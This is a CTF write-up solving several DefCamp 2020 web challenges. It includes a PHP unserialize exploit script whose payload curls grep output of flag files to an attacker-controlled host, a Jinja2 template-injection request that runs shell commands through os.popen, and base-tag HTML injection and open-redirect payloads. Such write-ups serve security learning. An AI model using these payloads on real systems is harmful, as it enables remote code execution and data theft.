Solution for some DefCamp 2020 CTF’s Web challenges
environ
Git repo leaked inside /backup (dumpable by replacing .git by backup in GitTools' Dumper). Inside the repo, the source code could be seen by seeing the logs (git show HEAD~3
) and the APP_KEY (git show HEAD~1
).
Entry point:
<?php
namespace App\Http\Controllers;
use Illuminate\Http\Request;
class DashboardController extends Controller
{
public function index(Request $request)
{
return view('good');
}
public function decode(Request $request, $secret)
{
$key = env('APP_KEY');
$cipher = "AES-256-CBC";
$iv = substr(env('APP_KEY'), 0, 16);
$secret_message = unserialize(openssl_decrypt($secret, $cipher, $key, 0, $iv)); // Here!
var_dump($secret_message);
}
}
Class we could jump to execute code:
<?php
namespace App\Http\Middleware;
use Closure;
use Illuminate\Http\Request;
class YourChain
{
/**
* Handle an incoming request.
*
* @param \Illuminate\Http\Request $request
* @param \Closure $next
* @return mixed
*/
// public function handle(Request $request, Closure $next)
// {
// return $next($request);
// }
public $inject;
function __construct(){
}
function __wakeup(){
if(isset($this->inject))
{
if(isset($this->inject[5])){
eval($this->inject[5]);
}
}
}
}
Exploit:
<?php
namespace App\Http\Middleware;
class YourChain
{
public $inject;
function __construct(){
}
function __wakeup(){
if(isset($this->inject))
{
if(isset($this->inject[5])){
eval($this->inject[5]);
}
}
}
}
$payload = [1,1,1,1,1, 'system(\'curl http://your.site/$(grep -ri ctf{ /var/www | base64 | tr -d "\n")\');'];
$obj = new YourChain();
$obj->inject = $payload;
echo serialize($obj) . "\n";
$key = "base64:Wkt8DOa9t16Z+DSLKsy+5r4S0aA9JmdItAk9//NiKu0=";
$iv = substr($key, 0, 16);
$cipher = "AES-256-CBC";
$secret = serialize($obj);
echo "Secret to be encoded => " . $secret . "\n";
// Encrypt
$enc_message = openssl_encrypt($secret, $cipher, $key, 0, $iv);
echo "Encoded secret => " . $enc_message . "\n";
// Decrypt
$secret_message = openssl_decrypt($enc_message, $cipher, $key, 0, $iv);
echo "Decoded secret => " . $secret_message . "\n";
echo "inject[5] => " . $payload[5] . "\n";
// unserialize($secret_message); // Debug locally
?>
http-for-pros
GET /?content={{request|attr(request.args.app)|attr((request.args.baja*2,'globals',request.args.baja*2)|join)|attr((request.args.baja*2,'getitem',request.args.baja*2)|join)((request.args.baja*2,request.args.built,request.args.baja*2)|join)|attr((request.args.baja*2,'getitem',request.args.baja*2)|join)((request.args.baja*2,request.args.imp,request.args.baja*2)|join)('os')|attr(request.args.p)(request.args.cmd)|attr('read')()}}&baja=_&app=application&built=builtins&imp=import&p=popen&cmd=cat+flag
cross-me
title=<base/href=//ip2decimal/&description=anything
By setting this base, everything rendered after the title would be requested to the provided IP, including some JS files. Then, querying the referer page (127.0.0.1:1234/index.php?page=post&id=X
) gave us the flag.
Extra
If XSS hadn’t been possible in that domain and cookie was not SameSite (like this writeup), an open redirect was also possible:
title=<base/href=//ip2decimal/&description=<style/onload=location=1//
Read other posts